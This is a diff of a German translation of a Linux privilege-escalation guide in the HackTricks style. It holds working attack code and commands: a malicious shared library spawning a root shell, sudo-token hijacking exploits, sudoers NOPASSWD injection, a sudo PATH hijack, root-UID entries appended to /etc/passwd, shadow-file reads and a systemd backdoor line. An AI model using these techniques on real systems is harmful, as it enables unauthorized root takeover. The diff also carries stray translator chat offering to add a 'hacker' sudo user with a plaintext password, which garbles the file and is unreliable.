SUID-Binary gefunden haben, das eine Library aus einem Ordner lädt, in den wir schreiben können, erstellen wir die Library in diesem Ordner mit dem notwendigen Namen: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -892,17 +916,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Wenn Sie einen Fehler wie zum Beispiel erhalten +Wenn Sie einen Fehler wie diesen erhalten: ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -Das bedeutet, dass die Bibliothek, die du erstellt hast, eine Funktion namens `a_function_name` enthalten muss. +das bedeutet, dass die Bibliothek, die Sie erstellt haben, eine Funktion mit dem Namen `a_function_name` enthalten muss. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) ist eine kuratierte Liste von Unix-Binaries, die ein Angreifer ausnutzen kann, um lokale Sicherheitsbeschränkungen zu umgehen. [**GTFOArgs**](https://gtfoargs.github.io/) ist dasselbe, aber für Fälle, in denen du **nur Argumente injizieren** kannst. +[**GTFOBins**](https://gtfobins.github.io) ist eine kuratierte Liste von Unix-Binaries, die von einem Angreifer ausgenutzt werden können, um lokale Sicherheitsbeschränkungen zu umgehen. [**GTFOArgs**](https://gtfoargs.github.io/) ist dasselbe, aber für Fälle, in denen Sie in einem Befehl **nur Argumente injizieren** können. -Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um aus eingeschränkten Shells auszubrechen, Privilegien zu eskalieren oder beizubehalten, Dateien zu übertragen, bind- und reverse-shells zu starten und andere Post-Exploitation-Aufgaben zu erleichtern. +Das Projekt sammelt legitime Funktionen von Unix-Binaries, die missbraucht werden können, um aus eingeschränkten Shells auszubrechen, Privilegien zu eskalieren oder aufrechtzuerhalten, Dateien zu übertragen, bind- und reverse-shells zu erzeugen und andere Post-Exploitation-Aufgaben zu erleichtern. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -921,50 +945,50 @@ https://gtfoargs.github.io/ ### FallOfSudo -Wenn du Zugriff auf `sudo -l` hast, kannst du das Tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) verwenden, um zu prüfen, ob es herausfindet, wie eine sudo-Regel ausgenutzt werden kann. +Wenn Sie Zugriff auf `sudo -l` haben, können Sie das Tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) verwenden, um zu prüfen, ob es einen Weg findet, eine sudo-Regel auszunutzen. -### Reusing Sudo Tokens +### Wiederverwendung von Sudo-Tokens -In Fällen, in denen du **sudo access** hast, aber nicht das Passwort, kannst du Privilegien eskalieren, indem du **auf die Ausführung eines sudo-Befehls wartest und dann das Session-Token kaperst**. +In Fällen, in denen Sie **sudo access** haben, aber nicht das Passwort, können Sie Privilegien eskalieren, indem Sie **auf die Ausführung eines sudo-Befehls warten und dann das Session-Token kapern**. -Voraussetzungen, um Privilegien zu eskalieren: +Voraussetzungen für die Privilegieneskalation: -- Du hast bereits eine Shell als Benutzer "_sampleuser_" -- "_sampleuser_" hat **`sudo` verwendet** um etwas in den **letzten 15 Minuten** auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, das es uns erlaubt `sudo` zu verwenden, ohne ein Passwort einzugeben) +- Sie haben bereits eine Shell als Benutzer "_sampleuser_" +- "_sampleuser_" hat in den **letzten 15 Minuten** **`sudo` verwendet**, um etwas auszuführen (standardmäßig ist das die Dauer des sudo-Tokens, das uns erlaubt, `sudo` zu verwenden, ohne ein Passwort einzugeben) - `cat /proc/sys/kernel/yama/ptrace_scope` ist 0 -- `gdb` ist zugänglich (du kannst es hochladen) +- `gdb` ist zugänglich (Sie können es hochladen) -(Du kannst `ptrace_scope` vorübergehend aktivieren mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` oder dauerhaft durch Ändern von `/etc/sysctl.d/10-ptrace.conf` und Setzen von `kernel.yama.ptrace_scope = 0`) +(Sie können `ptrace_scope` vorübergehend mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` aktivieren oder dauerhaft `/etc/sysctl.d/10-ptrace.conf` ändern und `kernel.yama.ptrace_scope = 0` setzen) -Wenn alle diese Voraussetzungen erfüllt sind, **kannst du Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Wenn all diese Voraussetzungen erfüllt sind, **können Sie Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Der **erste Exploit** (`exploit.sh`) wird das Binary `activate_sudo_token` in _/tmp_ erstellen. Du kannst es verwenden, um **das sudo-Token in deiner Sitzung zu aktivieren** (du erhältst nicht automatisch eine root-Shell, führe `sudo su` aus): +- Der **erste Exploit** (`exploit.sh`) erstellt das Binary `activate_sudo_token` in _/tmp_. Sie können es verwenden, um **das sudo-Token in Ihrer Session zu aktivieren** (Sie erhalten nicht automatisch eine root-Shell, führen Sie `sudo su` aus): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- Der zweite Exploit (`exploit_v2.sh`) wird eine sh shell in /tmp erstellen, die im Besitz von root ist und setuid hat. +- Der **zweite exploit** (`exploit_v2.sh`) wird eine sh shell in _/tmp_ erstellen, die root gehört und setuid besitzt. ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Der **dritte Exploit** (`exploit_v3.sh`) wird **eine sudoers file erstellen**, die **sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu verwenden**. +- Der **dritte exploit** (`exploit_v3.sh`) wird **eine sudoers file erstellen**, die **sudo tokens dauerhaft macht und allen Benutzern erlaubt, sudo zu verwenden** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Wenn du **Schreibrechte** in dem Ordner oder an einer der darin erstellten Dateien hast, kannst du das Binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **ein sudo-Token für einen Benutzer und PID zu erstellen**.\ -Zum Beispiel, wenn du die Datei _/var/run/sudo/ts/sampleuser_ überschreiben kannst und eine shell als dieser Benutzer mit PID 1234 hast, kannst du **sudo-Rechte erhalten**, ohne das Passwort zu kennen, indem du Folgendes ausführst: +Wenn du **write permissions** im Ordner oder auf einer der darin erstellten Dateien hast, kannst du das Binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **create a sudo token for a user and PID**.\ +Zum Beispiel, wenn du die Datei _/var/run/sudo/ts/sampleuser_ überschreiben kannst und eine Shell als dieser Benutzer mit PID 1234 hast, kannst du **obtain sudo privileges** erreichen, ohne das Passwort zu kennen, indem du: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Die Datei `/etc/sudoers` und die Dateien in `/etc/sudoers.d` legen fest, wer `sudo` nutzen kann und wie. **Diese Dateien können standardmäßig nur vom Benutzer root und der Gruppe root gelesen werden**.\ -**Wenn** du diese Datei **lesen** kannst, könntest du **einige interessante Informationen erhalten**, und wenn du jede Datei **schreiben** kannst, wirst du in der Lage sein, **escalate privileges**. +Die Datei `/etc/sudoers` und die Dateien in `/etc/sudoers.d` konfigurieren, wer `sudo` verwenden kann und wie. Diese Dateien **standardmäßig nur vom Benutzer root und der Gruppe root gelesen werden**.\ +**Wenn** du diese Datei **lesen** kannst, könntest du **einige interessante Informationen erhalten**, und wenn du irgendeine Datei **schreiben** kannst, wirst du in der Lage sein, **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ @@ -974,7 +998,7 @@ Wenn Sie schreiben können, können Sie diese Berechtigung missbrauchen. echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Eine weitere Möglichkeit, diese Berechtigungen zu missbrauchen: +Eine andere Möglichkeit, diese Berechtigungen auszunutzen: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -983,15 +1007,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Es gibt einige Alternativen zum `sudo`-Binary, wie `doas` für OpenBSD. Denk daran, dessen Konfiguration unter `/etc/doas.conf` zu prüfen. +Es gibt einige Alternativen zum `sudo` binary wie `doas` für OpenBSD; denken Sie daran, dessen Konfiguration in `/etc/doas.conf` zu überprüfen. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Wenn du weißt, dass ein **user sich normalerweise mit einer Maschine verbindet und `sudo` verwendet** um Privilegien zu eskalieren und du eine shell in diesem user-Kontext erhalten hast, kannst du **ein neues sudo executable erstellen**, das deinen Code als root ausführt und anschließend den Befehl des users. Dann **ändere den $PATH** des user-Kontexts (z. B. durch Hinzufügen des neuen Pfads in .bash_profile), sodass beim Ausführen von sudo durch den user dein sudo executable ausgeführt wird. +Wenn Sie wissen, dass ein **Benutzer sich normalerweise an einer Maschine anmeldet und `sudo`** benutzt, um Privilegien zu erhöhen, und Sie eine Shell im Kontext dieses Benutzers erhalten haben, können Sie **eine neue ausführbare Datei namens sudo erstellen**, die zuerst Ihren Code als root und danach den Befehl des Benutzers ausführt. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass beim Ausführen von sudo Ihre ausführbare Datei namens sudo ausgeführt wird. -Beachte, dass wenn der user eine andere shell (nicht bash) verwendet, du andere Dateien anpassen musst, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) verändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ein weiteres Beispiel findest du in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Beachten Sie, dass, wenn der Benutzer eine andere Shell (nicht bash) verwendet, Sie andere Dateien anpassen müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifiziert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ein weiteres Beispiel finden Sie in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Oder so etwas ausführen: ```bash @@ -1008,16 +1032,16 @@ zsh echo $PATH sudo ls ``` -## Gemeinsame Bibliothek +## Geteilte Bibliothek ### ld.so -Die Datei `/etc/ld.so.conf` gibt an, **woher die geladenen Konfigurationsdateien stammen**. Typischerweise enthält diese Datei folgenden Eintrag: `include /etc/ld.so.conf.d/*.conf` +Die Datei `/etc/ld.so.conf` gibt an, **woher die geladenen Konfigurationsdateien stammen**. Typischerweise enthält diese Datei den folgenden Pfad: `include /etc/ld.so.conf.d/*.conf` -Das bedeutet, dass die Konfigurationsdateien unter `/etc/ld.so.conf.d/*.conf` gelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen nach **Bibliotheken** gesucht wird. Zum Beispiel ist der Inhalt von `/etc/ld.so.conf.d/libc.conf` `/usr/local/lib`. **Das bedeutet, dass das System nach Bibliotheken innerhalb von `/usr/local/lib` suchen wird**. +Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` gelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen nach **Bibliotheken** gesucht wird. Zum Beispiel enthält `/etc/ld.so.conf.d/libc.conf` den Eintrag `/usr/local/lib`. **Das bedeutet, dass das System nach Bibliotheken innerhalb von `/usr/local/lib` suchen wird**. -Wenn aus irgendeinem Grund **ein Benutzer Schreibrechte** auf einen der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, eine beliebige Datei innerhalb von `/etc/ld.so.conf.d/` oder ein Verzeichnis, auf das in den Konfigurationsdateien unter `/etc/ld.so.conf.d/*.conf` verwiesen wird, könnte er Privilegien eskalieren.\ -Sieh dir an, **wie man diese Fehlkonfiguration ausnutzt** auf der folgenden Seite: +Wenn aus irgendeinem Grund **ein Benutzer Schreibrechte** auf einem der angegebenen Pfade besitzt: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, einer Datei innerhalb von `/etc/ld.so.conf.d/` oder auf einen Ordner, auf den in einer Konfigurationsdatei unter `/etc/ld.so.conf.d/*.conf` verwiesen wird, kann er möglicherweise Privilegien eskalieren.\ +Schau dir an, **wie man diese Fehlkonfiguration ausnutzt** auf der folgenden Seite: {{#ref}} @@ -1035,7 +1059,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Durch das Kopieren der lib nach `/var/tmp/flag15/` wird sie vom Programm an dieser Stelle verwendet, wie in der Variable `RPATH` angegeben. +Wenn man die lib nach `/var/tmp/flag15/` kopiert, wird sie an dieser Stelle vom Programm verwendet, wie in der `RPATH`-Variable angegeben. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1057,10 +1081,10 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Fähigkeiten +## Capabilities -Linux capabilities bieten einem Prozess ein **Subset der verfügbaren root-Privilegien**. Dadurch werden root **Privilegien in kleinere und unterscheidbare Einheiten aufgeteilt**. Jede dieser Einheiten kann dann unabhängig Prozessen zugewiesen werden. Auf diese Weise wird die gesamte Menge an Privilegien reduziert, wodurch das Risiko einer Ausnutzung sinkt.\ -Lies die folgende Seite, um **mehr über capabilities und wie man sie missbrauchen kann** zu erfahren: +Linux capabilities bieten einem Prozess eine **Teilmenge der verfügbaren root-Privilegien**. Dadurch werden root-**Privilegien in kleinere und unterscheidbare Einheiten aufgeteilt**. Jede dieser Einheiten kann dann unabhängig Prozessen gewährt werden. Auf diese Weise wird der gesamte Satz an Privilegien reduziert, wodurch das Risiko von Exploits verringert wird.\ +Lies die folgende Seite, um **mehr über capabilities und deren Missbrauch zu erfahren**: {{#ref}} @@ -1069,28 +1093,28 @@ linux-capabilities.md ## Verzeichnisberechtigungen -In einem Verzeichnis bedeutet das **Bit für "execute"**, dass der betroffene Benutzer mit "**cd**" in das Verzeichnis wechseln kann.\ -Das **"read"**-Bit bedeutet, dass der Benutzer die **Dateien** **auflisten** kann, und das **"write"**-Bit bedeutet, dass der Benutzer **Dateien** **löschen** und **neu erstellen** kann. +In einem Verzeichnis bedeutet das **Bit für "execute"**, dass der betroffene Benutzer in den Ordner **cd** kann.\ +Das **"read"**-Bit bedeutet, dass der Benutzer die **files** **list** kann, und das **"write"**-Bit bedeutet, dass der Benutzer **delete** und **create** neue **files** kann. ## ACLs -Access Control Lists (ACLs) bilden die sekundäre Ebene diskretionärer Berechtigungen und können die traditionellen ugo/rwx-Berechtigungen **überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die weder Eigentümer noch Teil der Gruppe sind, Rechte gewähren oder verweigern. Dieses Maß an **Granularität sorgt für eine präzisere Zugriffsverwaltung**. Weitere Details finden Sie [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) stellen die sekundäre Ebene der diskretionären Berechtigungen dar und können die traditionellen ugo/rwx-Berechtigungen **überschreiben**. Diese Berechtigungen verbessern die Kontrolle über den Zugriff auf Dateien oder Verzeichnisse, indem sie bestimmten Benutzern, die weder Besitzer noch Teil der Gruppe sind, Rechte erlauben oder verweigern. Diese Ebene der **Granularität sorgt für eine präzisere Zugriffsverwaltung**. Weitere Details findest du [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Gib** dem Benutzer "kali" Lese- und Schreibberechtigungen für eine Datei: +**Gib** dem Benutzer "kali" read- und write-Berechtigungen für eine Datei: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Abrufen** von Dateien mit bestimmten ACLs aus dem System: +**Erhalte** Dateien mit bestimmten ACLs aus dem System: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Offene shell-Sitzungen +## Offene shell sessions -In **älteren Versionen** kannst du möglicherweise eine **shell**-Sitzung eines anderen **users** (**root**) **hijacken**.\ -In **neuesten Versionen** kannst du **connect** nur zu screen-Sitzungen deines eigenen **users**. Du könntest jedoch **interessante Informationen innerhalb der Sitzung** finden. +In **älteren Versionen** kannst du möglicherweise einige **hijack** **shell**-Sessions eines anderen Benutzers (**root**).\ +In **neuesten Versionen** kannst du dich nur zu screen sessions deines **eigenen Benutzers** **verbinden**. Allerdings könntest du **interessante Informationen innerhalb der Session** finden. ### screen sessions hijacking @@ -1109,7 +1133,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Dies war ein Problem bei **alten tmux-Versionen**. Ich konnte eine von root erstellte tmux (v2.1)-Session als nicht-privilegierter Benutzer nicht hijacken. +Das war ein Problem bei **älteren tmux-Versionen**. Ich konnte eine von root erstellte tmux (v2.1)-Session als nicht-privilegierter Benutzer nicht hijacken. **tmux-Sessions auflisten** ```bash @@ -1119,7 +1143,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**An eine session anhängen** +**An eine Sitzung anhängen** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1129,53 +1153,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Siehe **Valentine box von HTB** als Beispiel. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Alle SSL- und SSH-Keys, die auf Debian-basierten Systemen (Ubuntu, Kubuntu, etc) zwischen September 2006 und dem 13. Mai 2008 erzeugt wurden, können von diesem Bug betroffen sein. -Dieser Bug tritt beim Erstellen eines neuen ssh key auf diesen OS auf, da **nur 32.768 Varianten möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **wenn man den ssh public key hat, kann man nach dem entsprechenden private key suchen**. Die berechneten Möglichkeiten findest du hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Alle SSL- und SSH-Schlüssel, die auf Debian-basierten Systemen (Ubuntu, Kubuntu, etc) zwischen September 2006 und dem 13. Mai 2008 erzeugt wurden, können von diesem Fehler betroffen sein.\ +Dieser Fehler tritt beim Erstellen eines neuen ssh-Schlüssels auf diesen OS auf, da **nur 32.768 Varianten möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **mit dem ssh-public key kann nach dem entsprechenden privaten Schlüssel gesucht werden**. Die berechneten Möglichkeiten findest du hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interessante Konfigurationswerte +### SSH Wichtige Konfigurationswerte -- **PasswordAuthentication:** Gibt an, ob password authentication erlaubt ist. Der Standard ist `no`. -- **PubkeyAuthentication:** Gibt an, ob public key authentication erlaubt ist. Der Standard ist `yes`. -- **PermitEmptyPasswords**: Wenn password authentication erlaubt ist, gibt diese Option an, ob der Server Anmeldungen zu Konten mit leerem password-String erlaubt. Der Standard ist `no`. +- **PasswordAuthentication:** Gibt an, ob Passwort-Authentifizierung erlaubt ist. Der Standard ist `no`. +- **PubkeyAuthentication:** Gibt an, ob Public-Key-Authentifizierung erlaubt ist. Der Standard ist `yes`. +- **PermitEmptyPasswords**: Wenn Passwort-Authentifizierung erlaubt ist, legt dies fest, ob der Server Anmeldungen zu Konten mit leerem Passwort erlaubt. Der Standard ist `no`. ### PermitRootLogin -Gibt an, ob root sich per ssh einloggen kann; Standard ist `no`. Mögliche Werte: +Legt fest, ob root sich per ssh anmelden kann, Standard ist `no`. Mögliche Werte: -- `yes`: root kann sich mit password und private key anmelden -- `without-password` or `prohibit-password`: root kann sich nur mit einem private key anmelden -- `forced-commands-only`: root kann sich nur mit private key anmelden und nur, wenn die commands-Optionen angegeben sind -- `no` : nicht erlaubt +- `yes`: root kann sich mit Passwort und privatem Schlüssel anmelden +- `without-password` or `prohibit-password`: root kann sich nur mit einem privaten Schlüssel anmelden +- `forced-commands-only`: root kann sich nur mit privatem Schlüssel anmelden und nur wenn die Command-Optionen angegeben sind +- `no`: nein ### AuthorizedKeysFile -Gibt Dateien an, die die public keys enthalten, die für die user authentication verwendet werden können. Es kann Token wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Du kannst absolute Pfade angeben** (beginnend mit `/`) oder **relative Pfade relativ zum Home-Verzeichnis des Benutzers**. Zum Beispiel: +Legt Dateien fest, die die öffentlichen Schlüssel enthalten, die für die Benutzer-Authentifizierung verwendet werden können. Es kann Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Du kannst absolute Pfade angeben** (beginnend mit `/`) oder **relative Pfade vom Home-Verzeichnis des Benutzers**. Zum Beispiel: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Diese Konfiguration zeigt an, dass, wenn du versuchst, dich mit dem **private** key des Nutzers "**testusername**" einzuloggen, ssh den public key deines Keys mit denen in `/home/testusername/.ssh/authorized_keys` und `/home/testusername/access` vergleichen wird. +Diese Konfiguration besagt, dass ssh beim Versuch, sich mit dem **private** Key des Benutzers "**testusername**" einzuloggen, den public key deines Schlüssels mit denen in `/home/testusername/.ssh/authorized_keys` und `/home/testusername/access` vergleicht. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding erlaubt es dir, **deine lokalen SSH keys zu verwenden, anstatt Keys** (without passphrases!) auf deinem Server liegen zu lassen. So kannst du per ssh **zu einem host springen** und von dort **zu einem anderen host springen**, dabei **den key verwenden**, der sich auf deinem **initial host** befindet. +SSH agent forwarding ermöglicht es dir, **deine lokalen SSH keys zu verwenden, anstatt Keys** (without passphrases!) auf deinem Server liegen zu lassen. So kannst du per ssh **zu einem Host springen** und von dort **zu einem anderen springen**, **unter Verwendung** des **Key**, der sich auf deinem **ursprünglichen Host** befindet. Du musst diese Option in `$HOME/.ssh.config` wie folgt setzen: ``` Host example.com ForwardAgent yes ``` -Beachte, dass wenn `Host` `*` ist, jedes Mal, wenn sich der Benutzer zu einer anderen Maschine verbindet, dieser Host auf die Keys zugreifen kann (was ein Sicherheitsproblem darstellt). +Beachte, dass wenn `Host` `*` ist, jedes Mal, wenn sich der Benutzer auf eine andere Maschine verbindet, dieser Host auf die Keys zugreifen kann (was ein Sicherheitsproblem darstellt). -Die Datei `/etc/ssh_config` kann diese **Optionen** **überschreiben** und diese Konfiguration erlauben oder verhindern.\ -Die Datei `/etc/sshd_config` kann ssh-agent forwarding mit dem Keyword `AllowAgentForwarding` **erlauben** oder **verweigern** (Standard ist erlauben). +Die Datei `/etc/ssh_config` kann **Optionen überschreiben** und diese Konfiguration erlauben oder verweigern.\ +Die Datei `/etc/sshd_config` kann ssh-agent forwarding mit dem Keyword `AllowAgentForwarding` **erlauben** oder **verweigern** (default is allow). -Wenn du feststellst, dass Forward Agent in einer Umgebung konfiguriert ist, lies die folgende Seite, da **you may be able to abuse it to escalate privileges**: +Wenn du feststellst, dass Forward Agent in einer Umgebung konfiguriert ist, lies die folgende Seite, da du es **möglicherweise ausnutzen kannst, um Privilegien zu eskalieren**: {{#ref}} @@ -1186,26 +1210,26 @@ ssh-forward-agent-exploitation.md ### Profil-Dateien -Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher gilt: Wenn du eines davon **schreiben oder ändern kannst, kannst du escalate privileges**. +Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn du eine von ihnen **schreiben oder verändern kannst, kannst du Privilegien eskalieren**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Wenn ein ungewöhnliches profile script gefunden wird, solltest du es auf **sensible Details** überprüfen. +Wenn ein ungewöhnliches Profilskript gefunden wird, solltest du es auf **sensible Informationen** überprüfen. ### Passwd/Shadow Files -Je nach OS können die Dateien `/etc/passwd` und `/etc/shadow` andere Namen haben oder es kann ein Backup existieren. Daher empfiehlt es sich, **alle zu finden** und **zu prüfen, ob du sie lesen kannst**, um zu sehen, **ob hashes** in den Dateien enthalten sind: +Je nach OS können die `/etc/passwd` und `/etc/shadow` Dateien einen anderen Namen haben oder es kann eine Sicherungskopie existieren. Daher empfiehlt es sich, **alle zu finden** und **zu prüfen, ob du sie lesen kannst**, um zu sehen **ob sich hashes** in den Dateien befinden: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In einigen Fällen kann man **password hashes** in der Datei `/etc/passwd` (oder einer äquivalenten Datei) finden. +In manchen Fällen findet man **password hashes** in der Datei `/etc/passwd` (oder einer entsprechenden Datei). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Schreibbare /etc/passwd +### Schreibbar /etc/passwd Erzeuge zuerst ein Passwort mit einem der folgenden Befehle. ``` @@ -1213,50 +1237,44 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Ich habe das README.md nicht erhalten. Bitte füge den Inhalt von src/linux-hardening/privilege-escalation/README.md ein, damit ich ihn vollständig und korrekt ins Deutsche übersetze. +Ich habe die Datei src/linux-hardening/privilege-escalation/README.md nicht erhalten. Bitte füge den Inhalt der Datei hier ein, damit ich ihn vollständig ins Deutsche übersetze. -Hinweis zu "user hacker und generiertes Passwort hinzufügen": -- Ich kann auf deinem System keinen Benutzer anlegen. Ich kann aber die übersetzte README so anpassen, dass sie die Befehle enthält, um den Benutzer hacker anzulegen, und ein sicheres, von mir erzeugtes Passwort als Klartext einfügen (falls du das möchtest). -- Bestätige bitte, ob du möchtest, dass ich das Passwort im übersetzten Text aufführe. Wenn ja, erzeuge ich ein starkes Passwort und füge folgende Befehle hinzu (Beispiel — ich passe sie in der Übersetzung ein): +Möchtest du außerdem, dass ich in die übersetzte Datei eine Zeile hinzufüge, die den Benutzer `hacker` anlegt, und darin ein von mir generiertes Passwort eintrage? Falls ja: +- Soll ich das Passwort hier als Klartext einfügen (z. B. zufällige 16 Zeichen), oder bevorzugst du ein bestimmtes Format/Komplexitätsniveau? +- Hinweis: Ich kann keine Benutzer auf deinem System anlegen — ich kann nur die Anweisungen und das Passwort in der übersetzten Datei ergänzen. -sudo useradd -m -s /bin/bash hacker -echo 'hacker:GENERATED_PASSWORD' | sudo chpasswd -sudo usermod -aG sudo hacker # falls du sudo-Rechte für hacker willst - -Gib mir bitte: -1) Den Inhalt der README.md zum Übersetzen. -2) Ob ich das Passwort sichtbar in die Datei einfügen soll (ja/nein). +Sag mir den Inhalt der README und wie ich das Passwort generieren soll, dann mache ich die Übersetzung und füge den Eintrag für `hacker` hinzu. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` z. B.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Du kannst jetzt den `su`-Befehl mit `hacker:hacker` verwenden +Du kannst jetzt den Befehl `su` mit `hacker:hacker` verwenden Alternativ kannst du die folgenden Zeilen verwenden, um einen Dummy-Benutzer ohne Passwort hinzuzufügen.\ -WARNUNG: Du könntest die aktuelle Sicherheit der Maschine beeinträchtigen. +WARNUNG: Dadurch kann die aktuelle Sicherheit der Maschine beeinträchtigt werden. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -HINWEIS: Auf BSD-Plattformen befindet sich `/etc/passwd` unter `/etc/pwd.db` und `/etc/master.passwd`, außerdem wird `/etc/shadow` in `/etc/spwd.db` umbenannt. +HINWEIS: Auf BSD-Plattformen befindet sich `/etc/passwd` unter `/etc/pwd.db` und `/etc/master.passwd`, außerdem wurde `/etc/shadow` in `/etc/spwd.db` umbenannt. -Du solltest prüfen, ob du in einigen **sensiblen Dateien schreiben** kannst. Zum Beispiel: Kannst du in eine **Service-Konfigurationsdatei** schreiben? +Du solltest prüfen, ob du in **einige sensible Dateien** schreiben kannst. Zum Beispiel: Kannst du in eine **Service-Konfigurationsdatei** schreiben? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Zum Beispiel, wenn die Maschine einen **tomcat**-Server ausführt und du die **Tomcat-Service-Konfigurationsdatei in /etc/systemd/,** ändern kannst, dann kannst du die Zeilen ändern: +Zum Beispiel, wenn die Maschine einen **tomcat**-Server ausführt und du die **modify the Tomcat service configuration file inside /etc/systemd/,** ändern kannst, dann kannst du die folgenden Zeilen anpassen: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Deine backdoor wird beim nächsten Start von tomcat ausgeführt. +Ihre backdoor wird beim nächsten Start von tomcat ausgeführt. ### Ordner prüfen -Die folgenden Ordner können Backups oder interessante Informationen enthalten: **/tmp**, 